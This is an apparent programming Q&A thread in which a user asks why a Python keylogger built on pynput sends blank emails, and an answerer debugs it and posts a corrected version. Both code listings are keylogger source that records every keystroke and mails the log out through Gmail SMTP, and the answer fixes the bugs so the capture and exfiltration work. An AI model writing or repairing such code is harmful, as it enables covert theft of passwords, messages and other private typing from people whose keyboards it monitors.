Trying to log keystrokes and send them to my email but getting a blank email instead

Question

This code is supposed to log my keystrokes and send them to my email (which I took out of the code for now). I do get the emails however it doesn't send them with the keystrokes, every email is blank. Does anyone know how to fix this?

import smtplib
import pynput
from pynput.keyboard import Key, Listener

email = ""
password = ""
server = smtplib.SMTP_SSL("smtp.gmail.com", 465)
server.login(email, password)

full_log = ""
word = ""
email_char_limit = 10


def on_press(key):
    global word
    global full_log
    global email
    global email_char_limit

    if key == Key.space or key == Key.enter:
        word += " "
        full_log += word
        word = ""
        if len(full_log) >= email_char_limit:
            send_log()
            full_log = ""
    elif key == Key.shift or Key.shift_r:
        return
    elif key == Key.backspace:
        word = word[:-1]
    else:
        char: f"{key}"
        char = char[1:-1]
        word += char

    if key == Key.esc:
        return False


def send_log():
    server.sendmail(
        email,
        email,
        full_log
    )


with Listener(on_press=on_press) as listener:
    listener.join()

I just made a few changes and got it working. There was an issue with your full_log variable. There was a mistake in the conditioning part of the first elif statement where your condition should be key == Key.shift or key == Key.shift_r. There was a mistake with char: f"{key}". It should be char = f"{key}". Two other important statements you forgot were

full_log += word
word = ""

Those lines need to be included at the end so the words are concatenated to the full_log variable. Other than that every thing works fine now.

Below is the corrected version of your code.

import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
import pynput
from pynput.keyboard import Key, Listener

full_log = ""
word = ""
email_char_limit = 10


def send_log(log):
    print(log)
    
    email_user = 'from mail address here'
    email_password = 'password'
    email_send = 'to mail address here'

    msg = MIMEMultipart()
    msg['From'] = email_user
    msg['To'] = email_send
    msg['Subject'] = subject

    body = log
    msg.attach(MIMEText(body, 'plain'))

    text = msg.as_string()
    server = smtplib.SMTP('smtp.gmail.com', 587)
    server.starttls()
    server.login(email_user, email_password)

    server.sendmail(email_user, email_send, text)
    server.quit()


def on_press(key):
    global word
    global full_log
    global email
    global email_char_limit

    if key == Key.space or key == Key.enter:
        word += " "
        full_log += word
        word = ""
        if len(full_log) >= email_char_limit:
            send_log(full_log)
            full_log = ""
    elif key == Key.shift or key == Key.shift_r:
        return None
    elif key == Key.backspace:
        word = word[:-1]
    else:
        char = f"{key}"
        char = char[1:-1]
        word += char

    full_log += word
    word = ""

    if key == Key.esc:
        return False

    #print(full_log)


with Listener(on_press=on_press) as listener:
    listener.join()
